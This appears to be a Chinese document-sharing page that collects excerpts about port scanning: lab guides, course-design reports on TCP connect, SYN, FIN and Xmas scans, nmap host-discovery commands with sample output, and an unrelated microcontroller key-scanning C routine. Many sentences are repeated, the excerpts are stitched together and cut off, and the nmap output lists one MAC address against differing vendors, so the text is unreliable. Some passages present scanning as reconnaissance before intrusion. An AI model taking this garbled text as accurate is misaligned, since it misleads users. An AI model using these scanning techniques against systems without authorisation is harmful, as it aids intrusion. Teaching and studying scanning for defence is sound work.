简单端口扫描程序的实现

合集下载

实验指导书2-网络端口扫描

实验指导书2-网络端口扫描

实验2网络端口扫描一、实验目的通过练习使用网络端口扫描器,可以了解目标主机开放的端口和服务程序,从而获取系统的有用信息,发现网络系统的安全漏洞。

在实验中,我们将在Windows 操作系统下使用Superscan 进行网络端口扫描实验,通过端口扫描实验,可以增强学生在网络安全方面的防护意识。

可以增强学生在网络安全方面的防护意识。

利用综合扫描软件利用综合扫描软件利用综合扫描软件“流光”“流光”“流光”扫描系统扫描系统的漏洞并给出安全性评估报告。

的漏洞并给出安全性评估报告。

二、实验原理(一).端口扫描的原理一个开放的网络端口就是一条与计算机进行通信的信道,对网络端口的扫描可以得到目标计算机开放的服务程序、运行的系统版本信息,从而为下一步的入侵做好准备。

侵做好准备。

对网络端口的扫描可以通过执行手工命令实现,对网络端口的扫描可以通过执行手工命令实现,对网络端口的扫描可以通过执行手工命令实现,但效率较低;但效率较低;但效率较低;也可也可以通过扫描工具实现,效率较高。

扫描工具是对目标主机的安全性弱点进行扫描检测的软件。

检测的软件。

它一般具有数据分析功能,它一般具有数据分析功能,它一般具有数据分析功能,通过对端口的扫描分析,通过对端口的扫描分析,通过对端口的扫描分析,可以发现目标可以发现目标主机开放的端口和所提供的服务以及相应服务软件版本和这些服务及软件的安全漏洞,从而能及时了解目标主机存在的安全隐患。

全漏洞,从而能及时了解目标主机存在的安全隐患。

扫描工具根据作用的环境不同,可分为两种类型:网络漏洞扫描工具和主机漏洞扫描工具。

主机漏洞扫描工具是指在本机运行的扫描工具,以期检测本地系统存在的安全漏洞。

网络漏洞扫描工具是指通过网络检测远程目标网络和主机系统所存在漏洞的扫描工具。

本实验主要针对网络漏洞扫描工具进行介绍。

统所存在漏洞的扫描工具。

本实验主要针对网络漏洞扫描工具进行介绍。

1.端口的基础知识为了了解扫描工具的工作原理,首先简单介绍一下端口的基本知识。

端口扫描程序

端口扫描程序

端口扫描回顾
分类 • 开放扫描(Open Scanning) • 半开放扫描(Half-Open Scanning) • 秘密扫描(Stealth Scanning)
试验题目
• 利用socket中的sock_stream套接字实现一个TCP公开扫描 程序,要求:
• 输入
1. 用户可以通过程序可以设定扫描目的的地址; 2. 用户可以设定扫描端口的范围;
char * s_name; char** s_aliases; int s_port; char* s_proto; }
端口扫描程序
20112011-09
课程内容
• 端口扫描回顾
• Connect端口扫描程序工作原理 端口扫描程序工作原理
端口扫描回顾
• 定义:所谓端口扫描就是发送数据包给被探测端,根 据被探测端的响应信息确定被探测端开启了那些端口。 • 作用:确定有哪些端口正处于监听状态是一个非常重 要的攻击步骤,攻击者不仅可以了解到远程系统上都 运行着哪些服务,还可以准确地探测出目标系统所使 用的操作系统和应用程序的类型和版本
• •
输出
1. 显示扫描目标开启了那些端口;
程序的验证:
• 在shell下输入命令“netstat -ltn”,对比自己程序的输出结果
试 验 题 目 提 示 —— 端 口 扫 描 程 序 工 servent *getservbyport(port,proto) • Struct servenet{

端口扫描与检测技术的实现论文

端口扫描与检测技术的实现论文

端口扫描与检测技术的实现摘要随着Internet日益广泛的应用,黑客攻击行为也是有增无减。

如何有效地抵御这种攻击行为,一直是信息安全领域的焦点。

而其中,端口扫描技术吸引了越来越多人的关注。

端口扫描是黑客搜集目标主机信息的一种常用方法。

为了有效地对付网络入侵行为,对端口扫描进行研究是非常有益和必要的。

攻击者在攻击一个目标时,首先要获取目标的一些基本信息,端口扫描就是其中最简单最重要的方法之一,它可以扫描目标机器中开放的端口,从而确定目标机器中提供的服务,为下一步攻击做准备。

针对端口扫描技术,相应的端口扫描检测技术显的越发重要,作为网络安全技术中的一个重要课题,端口扫描检测技术意义重大。

本文首先阐述了端口扫描技术以及端口扫描检测技术的基本原理和常用方法,然后在此基础上设计了一个对基于网络的端口进行扫描,能判断出目标主机端口开放情况的程序以及一个从网络信息的数据包的捕获和分析着手,再通过统计判断是否存在端口扫描行为的程序,最后从攻击和防御的角度对端口扫描和检测技术作了演示及分析。

关键词:端口;端口扫描;数据包捕获;端口检测The Realization of Port Scanning and Detecting TechnologyAbstractAs the widely applying of Internet, the attacking behavior made by hacker is increasing but not decreasing. How to resist this kind of attacking behavior is always the key point of the domain of the information security.And the port scanning draws people's attention more and more. Port scanning is a usual method which is used by the hacker to collect the information of the target main processor. In order to deal with the invading behavior of the Internet effectively, it is very useful and necessary to work on the port scanning. When an attacker attacks to a target, he or she will firstly gets some basic information about the target, and the port scanning is one of the most simple and important methods which can scan the opening Port of the target machine to make sure the offering service made by the target machine, and it is a preparation to the next attacking. The port detecting seems more and more important referring to the port scanning. As an important task of the secure technique of Internet, the port detecting is of great significance.In this thesis, it firstly elaborates the basic principles and usual methods of the port scanning. On this basis, it then designs a program which can scan the Port of the Internet, and assess the opening situation of the target main processor, and the other program which begins on capturing and analyzing the information packet of Internet, and then assess whether there is a behavior about port scanning through statistic analyses. Lastly, it demonstrates and analyses the technology of port scanning and port detecting from the viewpoint of attacking and resisting.Key Words:port; port scanning; packet capture; port detecting目录论文总页数:23页1 引言 (1)1.1 本课题研究的意义 (1)1.2 本课题的研究方法 (2)2 端口扫描概述 (2)2.1 基本概念 (2)2.2 端口扫描原理 (3)2.3 端口扫描技术简介 (5)3 检测端口扫描概述 (7)3.1 端口扫描检测的分析 (7)3.2 普通端口扫描检测技术概述 (8)3.3 慢速端口扫描检测技术概述 (9)3.4 端口扫描的分布式检测概述 (9)3.5 主流的端口扫描工具 (11)4 端口扫描的实现 (12)4.1 扫描程序的设计原理 (12)4.2 程序流程图 (12)5 检测端口扫描的实现 (13)5.1 检测程序的设计原理 (13)5.2 程序流程图 (13)5.3 设计实现重点代码 (14)6 性能测试 (18)6.1 端口扫描程序性能测试 (18)6.2 检测端口扫描程序性能测试 (19)结论 (20)参考文献 (21)致谢 (22)声明 (23)1引言随着科学技术的飞速发展,21世纪的地球人已经生活在信息时代。

Nmap简单扫描过程

Nmap简单扫描过程

Nmap简单扫描过程目录一、主机发现(HOST DISCOVERY) (2)1.探测局域网内活动主机 (2)二、端口扫描 (4)1.半开放扫描(TCP SYN S CANNING) (4)2.TCP CONNECT SCANNING (4)3.TCP ACK SCANNING (4)4.TCP FIN/X MAS/NULL SCANNING (4)5.UDP SCANNING (4)6.其他方式 (4)三、版本侦测 (4)1.版本侦测主要分为以下几个步骤: (5)四、操作系统侦测 (5)1.实现方式如下 (5)一、主机发现(Host Discovery)用于发现目标主机是否在线(Alive,处于开启状态)。

原理:与Ping命令类似,发送探测包到目标主机,如果收到回复,那么说明目标主机是开启的。

1.探测局域网内活动主机例子1:扫描局域网192.168.1.100-192.168.1.120范围内哪些IP的主机是活动的。

命令:nmap –sn 192.168.31.100-254Starting Nmap 6.46 ( ) at 2015-06-01 17:07 CSTNmap scan report for 192.168.31.101Host is up (0.00028s latency).MAC Address: 00:0C:29:BD:8B:91 (Super Micro Computer)Nmap scan report for 192.168.31.102Host is up (0.00088s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.110Host is up (0.00047s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.157Host is up (0.00052s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.158Host is up (0.00096s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.161Host is up (0.00045s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.163Host is up (0.00027s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.165Host is up (0.00036s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.180Host is up (0.00085s latency).MAC Address: 00:0C:29:BD:8B:91 (Asustek Computer)Nmap scan report for 192.168.31.202Host is up (0.0011s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.205Host is up (0.00074s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.209Host is up (0.00046s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for (192.168.31.111)Host is up.Nmap done: 155 IP addresses (13 hosts up) scanned in 1.14 seconds例子2:扫描局域网192.168.31.0网段下哪些IP的主机是活动的命令:nmap -sn 192.168.31.0/24Starting Nmap 6.46 ( ) at 2015-06-01 17:35 CSTNmap scan report for 192.168.31.1Host is up (0.014s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.5Host is up (0.0010s latency).MAC Address: 00:0C:29:BD:8B:91 (Realtek Semiconductor)Nmap scan report for 192.168.31.6Host is up (0.00098s latency).MAC Address: 00:0C:29:BD:8B:91 (Lanner Electronics)Nmap scan report for 192.168.31.8Host is up (0.00094s latency).MAC Address: 00:0C:29:BD:8B:91 (Super Micro Computer) Nmap scan report for 192.168.31.9Host is up (0.00080s latency).MAC Address: 00:0C:29:BD:8B:91 (Lanner Electronics) Nmap scan report for 192.168.31.25Host is up (0.00057s latency).MAC Address: 00:0C:29:BD:8B:91 (Asustek Computer) Nmap scan report for 192.168.31.26Host is up (0.00056s latency).MAC Address: 00:0C:29:BD:8B:91 (Asustek Computer) Nmap scan report for 192.168.31.27Host is up (0.00060s latency).MAC Address: 00:0C:29:BD:8B:91 (Asustek Computer) Nmap scan report for 192.168.31.37Host is up (0.00040s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.40Host is up (0.00072s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.49Host is up (0.00042s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.63Host is up (0.00056s latency).MAC Address: 00:0C:29:BD:8B:91 (Super Micro Computer) Nmap scan report for 192.168.31.80Host is up (0.0017s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.81Host is up (0.0016s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.82Host is up (0.0016s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.83Host is up (0.0016s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.90Host is up (0.0016s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.101Host is up (0.00036s latency).MAC Address: 00:0C:29:BD:8B:91 (Super Micro Computer) Nmap scan report for 192.168.31.102Host is up (0.00052s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.105Host is up (0.00037s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.110Host is up (0.00092s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.157Host is up (0.00067s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.158Host is up (0.00082s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.161Host is up (0.00060s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.163Host is up (0.00047s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.165Host is up (0.00054s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.180Host is up (0.00064s latency).MAC Address: 00:0C:29:BD:8B:91 (Asustek Computer)Nmap scan report for 192.168.31.202Host is up (0.00067s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.205Host is up (0.00061s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for 192.168.31.209Host is up (0.00049s latency).MAC Address: 00:0C:29:BD:8B:91 (VMware)Nmap scan report for (192.168.31.111)Host is up.Nmap done: 256 IP addresses (31 hosts up) scanned in 1.33 seconds二、端口扫描用于确定目标主机的TCP/UDP端口的开放情况1.半开放扫描(TCP SYN Scanning)该方式发送SYN到目标端口,如果收到SYN/ACK回复,那么判断端口是开放的;如果收到RST包,说明该端口是关闭的。

简单端口扫描程序的实现

简单端口扫描程序的实现

计算机网络课程设计论文题目:简单端口扫描程序的实现院(部)名称:计算机科学与工程学院学生姓名:专业:学号:指导教师姓名:报告提交时间:报告答辩时间:(不填)目录一、设计要求 (3)二、开发环境与工具 (3)三、设计原理 (3)四、系统功能描述及软件模块划分 (3)五、设计步骤 (5)六、关键问题及其解决方法 (5)七、设计结果 (15)八、软件使用说明 (16)九、参考资料 (16)一、设计要求本系统实现了一个简单的端口扫描器。

1. 使用端口扫描对一台主机进行扫描,一台主机上有哪些端口是打开的;2. 对一个网段进行 IP 扫描,显示出一个网段内有哪些主机是开机的。

二、开发环境与工具Windows的pc机Jdk包,:具备网络环境并连入Internet。

三、设计原理IP地址和端口被称作套接字,它代表一个TCP连接的一个连接端。

为了获得TCP服务,必须在发送机的一个端口上和接收机的一个端口上建立连接。

TCP连接用两个连接端来区别,也就是(连接端1,连接端2)。

连接端互相发送数据包。

端口扫描是在应用程序运行在 TCP 或者 UDP 协议之上工作的, 这些协议是众多应用程序使用的传输机制,端口扫描是通过扫描主机确定哪一些 TCP 和UDP 端口可以访问的过程. 端口扫描常见的几种类型: TCP Connect()扫描 SYN 扫描 NULL 扫描 ACK 扫描 Xmas-Tree Dumb 扫描。

Ping命令经常用来对TCP/IP网络进行诊断。

通过目标计算机发送一个数据包,让它将这个数据包反送回来,如果返回的数据包和发送的数据包一致,那就是说你的PING命令成功了。

通过这样对返回的数据进行分析,就能判断计算机是否开着,或者这个数据包从发送到返回需要多少时间。

Tracert命令用来跟踪一个消息从一台计算机到另一台计算机所走的路径, rusers和finger 通过这两个命令,你能收集到目标计算机上的有关用户的消息。

端口扫描程序nmap使用手册

端口扫描程序nmap使用手册
传递给-b功能选项的参数是你要作为代理的FTP服务器。语法格式为:
-b username:password@server:port。
除了server以外,其余都是可选的。如果你想知道什么服务器有这种缺陷,可以参考我在Phrack 51发表的文章。还可以在nmap的站点得到这篇文章的最新版本。
-sF -sF -sN
秘密FIN数据包扫描、圣诞树(Xmas Tree)、空(Null)扫描模式:即使SYN扫描都无法确定的情况下使用。一些防火墙和包过滤软件能够对发送到被限制端口的SYN数据包进行监视,而且有些程序比如synlogger和courtney能够检测那些扫描。这些高级的扫描方式可以逃过这些干扰。这些扫描方式的理论依据是:关闭的端口需要对你的探测包回应RST包,而打开的端口必需忽略有问题的包(参考RFC 793第64页)。FIN扫描使用暴露的FIN数据包来探测,而圣诞树扫描打开数据包的FIN、URG和PUSH标志。不幸的是,微软决定完全忽略这个标准,另起炉灶。所以这种扫描方式对Windows95/NT无效。不过,从另外的角度讲,可以使用这种方式来分别两种不同的平台。如果使用这种扫描方式可以发现打开的端口,你就可以确定目标注意运行的不是Windows系统。如果使用-sF、-sX或者-sN扫描显示所有的端口都是关闭的,而使用SYN扫描显示有打开的端口,你可以确定目标主机可能运行的是Windwos系统。现在这种方式没有什么太大的用处,因为nmap有内嵌的操作系统检测功能。还有其它几个系统使用和windows同样的处理方式,包括Cisco、BSDI、HP/UX、MYS、IRIX。在应该抛弃数据包时,以上这些系统都会从打开的端口发出复位数据包。
根据使用的功能选项,nmap也可以报告远程主机的下列特征:使用的操作系统、TCP序列、运行绑定到每个端口上的应用程序的用户名、DNS名、主机地址是否是欺骗地址、以及其它一些东西。

实验五 端口扫描器实验报告(付代码)

实验五 端口扫描器实验报告(付代码)

实验5:端口扫描器的设计与实现姓名:学号:专业年级:(一)实验目的和内容:目的:加深对TCP的理解,学习端口扫描技术和原理,熟悉socket编程。

内容:实现一个扫描器,使用TCP connect进行端口扫描,并对扫描结果进行记录。

(二)课程设计要求:Windows或Linux环境下,程序在单机上运行;使用端口扫描器对一台主机进行扫描,并显示出结果;编程语言不限;提供友好的用户界面。

(三)端口扫描技术:“端口”是专门为计算机通信而设计的,它不是硬件,不同于计算机中的“插槽”,可以说是个“软插槽”。

“端口”是由计算机的通信协议TCP/IP协议定义的。

其中规定,用IP地址和端口作为套接字,它代表TCP连接的一个连接端,一般称为Socket。

具体来说,就是用[IP:端口]来定位一台主机中的进程。

计算机就像一座大楼,这个大楼有好多入口(端口),进到不同的入口中就可以找到不同的公司(进程)。

端口与进程是一一对应的,入侵者通过扫描端口,便可以判断出目标计算机有哪些通信进程正在等待连接。

(四)扫描端口的目的:端口扫描是入侵者搜集信息的几种常用手法之一,也正是这一过程最容易使入侵者暴露自己的身份和意图。

•判断目标主机上开放了哪些服务;•判断目标主机的操作系统。

如果入侵者掌握了目标主机开放了哪些服务,运行何种操作系统,他们就能够使用相应的手段实现入侵。

(五)端口的分类:端口是一个16 bit的地址,用端口号进行标识不同的作用。

端口一般分为两类。

•熟知端口号(公认端口号):由因特网指派名字和号码公司ICANN负责分配给一些常用的应用层程序固定使用的熟知端口,其数值一般为0~1023。

•一般端口号:用来随时分配给请求通信的客户进程。

(六)扫描原理的基础知识:TCP/IP模型四层结构TCP与UDP协议TCP报文结构TCP连接和释放过程(七)TCP/IP模型四层结构:(八)TCP与UDP协议:Internet的网络通信大多是建立在这两个协议之上的,各个主机遵循着TCP/IP协议封装数据包进行通信。

计算机网络课程设计题目

计算机网络课程设计题目

计算机网络课程设计一.中小型千兆网吧组建内容及要求:用BOSON软件实现小规模网络的模拟。

熟悉对路由器和交换机的配置命令,调通网络,并通过实例深入理解网络基本工作原理及实现方法。

学会网络构建、日常IP地址1.2.3.4.5.6.写出课程设计报告:设计目的、设计内容、设计方案、拓扑图、设备选型、方案报价、子网划分等内容。

(1)企业网络工程(2)银行网络工程(3)医院网络工程(4)校园网网络工程(5)大型机场信息网络工程(6)邮电综合管理信息网(7)某航空公司网络系统建设(8)某市宽带信息网络(9)证券交易网络系统(10)学校以太网网络建设三.Ping程序的设计与实现设计的目的是使学生掌握网络层协议的原理及实现方法。

设计内容,在给定的Ping程序的基础上做如下功能扩充:●-h 显示帮助信息●●●PingPing消息。

ICMPIdentification,Flags,FragmentOffset用于IP包分段TimetoLiveIP包的存活时长ProtocolICMP=1Addresses发送Echo消息的源地址是发送Echoreply消息的目的地址,相反,发送Echo消息的目的地址是发送Echoreply消息的源地址。

Ping实际上是使用ICMP中的ECHO报文来实现的。

Echo或EchoReply消息格式如下:012301234567890123456789012345678901+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|Type|Code|Checksum|+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|Identifier|SequenceNumber|+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|Data...+-+-+-+-+-Typeecho消息的类型为8echoreply的消息类型为0。

端口扫描实验

端口扫描实验

端⼝扫描实验实验三端⼝扫描实验1. 实验⽬的通过练习使⽤⽹络端⼝扫描器,了解⽬标主机开放的端⼝和服务程序,从⽽获得系统的有⽤信息,发现⽹络系统的安全漏洞。

在实验中,我们将在Windows操作系统下使⽤端⼝扫描⼯具Xscan,Nmap 和流光Fluxay5.0进⾏⽹络端⼝综合扫描实验,并给出安全性评估报告,加深对各种⽹络和系统漏洞的理解。

同时,通过系统漏洞的⼊侵练习增强⽹络安全防护意识。

2. 预备知识2.1 ⽹络端⼝扫描简介TCP/IP协议在⽹络层是⽆连接的,⽽“端⼝”,就已经到了传输层。

端⼝便是计算机与外部通信的途径。

⼀个端⼝就是⼀个潜在的通信通道,也就是⼀个⼊侵通道。

对⽬标计算机进⾏端⼝扫描,能得到许多有⽤的信息。

进⾏扫描的⽅法很多,可以是⼿⼯进⾏扫描,也可以⽤端⼝扫描软件进⾏。

在⼿⼯进⾏扫描时,需要熟悉各种命令,对命令执⾏后的输析出进⾏分,效率较低。

⽤扫描软件进⾏扫描时,许多扫描器软件都有分析数据的功能。

通过端⼝扫描,可以得到许多有⽤的信息,从⽽发现系统的安全漏洞。

扫描⼯具根据作⽤的环境不同可分为:⽹络漏洞扫描⼯具和主机漏洞扫描⼯具。

前者指通过⽹络检测远程⽬标⽹络和主机系统所存在漏洞的扫描⼯具。

后者指在本机运⾏的检测本地系统安全漏洞的扫描⼯具。

本实验主要针对前者。

2.2 端⼝基础知识端⼝是TCP协议中定义的,TCP协议通过套接字(socket)建⽴起两台计算机之间的⽹络连接。

它采⽤【IP地址:端⼝号】形式定义,通过套接字中不同的端⼝号来区别同⼀台计算机上开启的不同TCP和UDP连接进程。

端⼝号在0~~65535之间,低于1024的端⼝都有确切的定义,它们对应着因特⽹上常见的⼀些服务。

这些常见的服务可以划分为使⽤TCP端⼝(⾯向连接如打电话)和使⽤UDP端⼝(⽆连接如写信)两种。

端⼝与服务进程⼀⼀对应,通过扫描开放的端⼝就可以判断计算机中正在运⾏的服务进程。

2.3 端⼝扫描技术分类(1)TCP connect Scan这种⽅法最简单,直接连到⽬标端⼝并完成⼀个完整的三次握⼿过程(SYN, SYN/ACK, 和ACK)。

linux下的端口扫描工具nmap

linux下的端口扫描工具nmap

nmap是一个网络端口扫描程序。

其主要功能是检查一组目标主机,看看在哪个TCP和UDP端口上有服务程序在监听。

因为大多数网络服务都与“众所周知的”端口号相关联,所以这项信息会告诉您有关一台机器上正在运行的软件的很多信息。

运行nmap是一种很好的方法,可以弄清楚系统在打算搞破坏的人看来是个什么样子。

例如,下面是来自一台RHEL默认安装机器的报告:在默认情况下,nmap带的-sT参数要求以正常方法尝试连接目标主机上的每个TCP端口。

一旦建立连接,nmap将立即断开,这样做虽然不礼貌,但对一个正常编写的网络服务程序来说是无害的。

从上面的例子我们可以看出,主机rhel正在运行几个可能没用到的服务程序,这几个程序在历史上就与安全性问题息息相关:portmapd(rpcbind),CUPS (ipp),可能还包括sendmail(smtp)。

几条潜在的攻击路线已经相当清楚了。

nmap输出中的STATE一栏显示“open”表示端口有服务程序,“unfiltered”表示端口没有服务程序,“filtered”表示因为防火墙的干扰而无法探测到该端口。

unfiltered的端口是最典型的情况,除非nmap在执行一次ACK扫描,否则通常都不显示它们。

除了直截了当的TCP和UDP探测之外,nmap还有一整套悄悄探测而不发起实际连接的方法。

在大多数情况下,这些探测方法会发送看上去像是出自TCP会话中间(而不是开始)的包,然后等待诊断包被送回。

这些秘密的探测方法也许能有效地绕过防火墙或避免被寻找端口扫描程序的网络安全监视器检测到。

如果您的站点使用了防火墙(参见20.12节),用这些可供选择的扫描模式来探测它,看看它们能找到什么是个好主意。

nmap有一种神奇而有用的能力:通过查看一个远程系统TCP/IP实现的细节来推测该系统运行的是什么操作系统。

它有时候甚至能确定一个开放端口上正在运行什么软件。

-O和-sV选项分别打开这些功能。

极其简单好用的按键扫描程序C语言

极其简单好用的按键扫描程序C语言

极其简单好用的按键扫描程序(C语言)不过我在网上游逛了很久,也看过不少源程序了,没有发现这种按键处理办法的踪迹,所以,我将他共享出来,和广大同僚们共勉。

我非常坚信这种按键处理办法的便捷和高效,你可以移植到任何一种嵌入式处理器上面,因为C语言强大的可移植性。

同时,这里面用到了一些分层的思想,在单片机当中也是相当有用的,也是本文的另外一个重点。

对于老鸟,我建议直接看那两个表达式,然后自己想想就会懂的了,也不需要听我后面的自吹自擂了,我可没有班门弄斧的意思,hoho~~但是对于新手,我建议将全文看完。

因为这是实际项目中总结出来的经验,学校里面学不到的东西。

以下假设你懂C语言,因为纯粹的C语言描述,所以和处理器平台无关,你可以在MCS-51,AVR,PIC,甚至是ARM平台上面测试这个程序性能。

当然,我自己也是在多个项目用过,效果非常好的。

好了,工程人员的习惯,废话就应该少说,开始吧。

以下我以AVR的MEGA8作为平台讲解,没有其它原因,因为我手头上只有AVR的板子而已没有51的。

用51也可以,只是芯片初始化部分不同,还有寄存器名字不同而已。

核心算法:unsigned char Trg;unsigned char Cont;void KeyRead( void ){unsigned char ReadData = PINB^0xff; // 1Trg = ReadData & (ReadData ^ Cont); // 2Cont = ReadData; // 3}完了。

有没有一种不可思议的感觉?当然,没有想懂之前会那样,想懂之后就会惊叹于这算法的精妙!!下面是程序解释:Trg(triger)代表的是触发,Cont(continue)代表的是连续按下。

1:读PORTB的端口数据,取反,然后送到ReadData 临时变量里面保存起来。

2:算法1,用来计算触发变量的。

一个位与操作,一个异或操作,我想学过C语言都应该懂吧?Trg为全局变量,其它程序可以直接引用。

实验07 端口扫描

实验07 端口扫描

端口扫描6.3.1 背景描述“端口”在计算机和网络领域中是个非常重要的概念。

它是专门为计算机通信而设计的,它不是硬件,不同于计算机中的接口,如USB端口、网卡端口等,或者交换机、路由器用于连接其他网络设备的接口,如RJ-45端口、SC端口等。

这里所说的端口指网络中面向连接服务和无连接服务的通信协议端口,是一种抽象的软件结构,一般是指TCP/IP协议中的端口,端口号的范围从0到65535,比如用于浏览网页服务的80端口,用于FTP服务的21端口等。

端口号是一个16bit的二进制数,用于标示不用作用的端口。

端口号分为系统默认端口号和一般端口号。

系统默认端口号由因特网指派名字和号码公司ICANN负责分配给一些常用的应用程序固定使用的熟知端口,其数值从0-1023;一般端口号则是指1024-65535这些数值。

端口扫描就是对一段端口或指定的端口进行扫描。

其基本原理是使用TCP/IP协议向远程目标主机的某一端口提出建立一个连接的请求并记录目标系统的应答,从而判断出目标系统端口的开关状态。

常用的端口扫描技术有如下几种:1.TCP connect()扫描。

系统调用connect(),向目标端口发送一个SYN数据包,等待目标机器反应。

如果目标机器返回的是SYN/ACK数据包,证明目标端口处于监听状态,发送ACK数据包;如果返回的是RST/ACK数据包,说明目标端口关闭,发送RESET数据包,完成三次握手。

2.TCP SYN 扫描。

这项技术通常称为半开扫描(half-open),发送一个SYN数据包到目的端口,等待响应,如果收到SYN|ACK(应答),表明该端口是开放监听的。

收到RST则代表该端口未被监听。

如果收到SYN|ACK的响应,则马上发送一个RST包来中断这个连接。

3.TCP FIN扫描。

向目标端口发送FIN数据包,按照rfc793,目标系统应该给所有关闭着的端口返回一个RST数据包。

4.XMAS扫描。

也称圣诞树扫描,将TCP的首部含有的六个标志位(URG、ACK、PSH、RST、SYN和FIN)都置为1,按照rfc793,目标系统应该给所有关闭着的端口发送一个RST 包。

tcp syn扫描的实现原理

tcp syn扫描的实现原理

TCP SYN扫描的实现原理TCP SYN扫描是一种常用的网络扫描技术,用于识别目标主机上的开放端口。

在进行TCP SYN扫描时,扫描器向目标主机发送TCP连接请求中的SYN标志位,并根据目标主机的响应来判断端口的状态。

1. TCP连接建立过程在了解TCP SYN扫描的实现原理之前,我们需要首先了解TCP连接建立的过程。

TCP连接建立需要进行三次握手,即以下步骤:1.主机A发送一个TCP包,其中SYN标志位被设置为1,表示请求建立连接。

2.主机B收到后,向主机A发送一个TCP包,其中SYN和ACK标志位都被设置为1,表示确认连接请求,并发送自己的SYN序列号。

3.主机A收到后,向主机B发送一个TCP包,其中ACK标志位被设置为1,表示连接建立成功。

通过三次握手,TCP连接建立成功,双方可以开始进行数据传输。

2. TCP SYN扫描的工作原理TCP SYN扫描利用了TCP连接建立过程中的一些特性,来判断目标主机上的端口状态,即端口是否开放。

1.扫描器向目标主机的某个端口发送一个TCP包,其中SYN标志位被设置为1,表示请求建立连接。

2.如果目标端口处于关闭状态,那么目标主机将会发送一个RST(复位)包作为响应,表示连接被重置,从而扫描器获得了目标端口的信息。

3.如果目标端口处于开放状态,那么目标主机将会发送一个TCP包,其中SYN和ACK标志位都被设置为1,表示确认连接请求,并发送自己的SYN序列号。

4.扫描器收到目标主机的响应后,将发送RST包给目标主机,以关闭已经建立的连接。

根据目标主机响应的情况,扫描器可以判断目标端口的状态: - 如果目标主机返回RST包,则表示该端口处于关闭状态。

- 如果目标主机返回SYN/ACK包,则表示该端口处于开放状态。

3. 实现原理TCP SYN扫描的实现原理可以从以下几个方面进行详细说明:3.1 构造TCP包扫描器需要向目标主机发送构造的TCP包,其中SYN标志位被设置为1,以请求建立连接。

5.3 实例——端口与漏洞扫描及网络监听

5.3  实例——端口与漏洞扫描及网络监听

5.3 实例——端口与漏洞扫描及网络监听1.漏洞扫描与网络监听扫描与监听的实验环境如图5.6所示。

图5.6 实验环境入侵者(192.168.10.5):运行x-scan对192.168.10.1进行漏洞扫描。

被入侵者(192.168.10.1):用Analyzer分析进来的数据包,判断是否遭到扫描攻击。

第1步:入侵者,启动x-scan,设置参数。

安装好x-scan后,有两个运行程序:xscann.exe和xscan_gui.exe。

xscann.exe是扫描器的控制台版本,xscan_gui.exe是扫描器的窗口版本。

在此运行窗口版本(xscan_gui.exe),如图5.7所示。

单击工具栏最左边的“设置扫描参数”按钮,进行相关参数的设置,比如扫描范围的设定,xscanner可以支持对多个IP地址的扫描,也就是说使用者可以利用xscanner成批扫描多个IP地址,例如在IP地址范围内输入192.168.0.1~192.168.0.255。

如果只输入一个IP地址,扫描程序将针对单独的IP地址进行扫描,在此输入192.168.10.1。

第2步:入侵者,进行漏洞扫描。

如图5.7所示,单击工具栏左边第二个按钮,即三角形按钮。

进行漏洞扫描。

图5.7 启动x-scan,设置参数第3步:入侵者,扫描结果。

如图5.8所示,“普通信息”标签页显示漏洞扫描过程中的信息,“漏洞信息”标签页显示可能存在的漏洞,比如终端服务(端口3389)的运行,就为黑客提供了很好的入侵通道。

图5.8 扫描结果第4步:被入侵者,网络监听。

由于Analyzer 3.0a12在Windows 2003 SP2下不能正常运行(在Windows XP SP2下可以正常运行),因此选用以前的版本Analyzer 2.2进行测试,读者可以在http://analyzer.polito. it/ download.htm下载。

在入侵者运行xscan_gui.exe之前被入侵者运行analyzer。

多线程端口扫描程序设计与实现

多线程端口扫描程序设计与实现

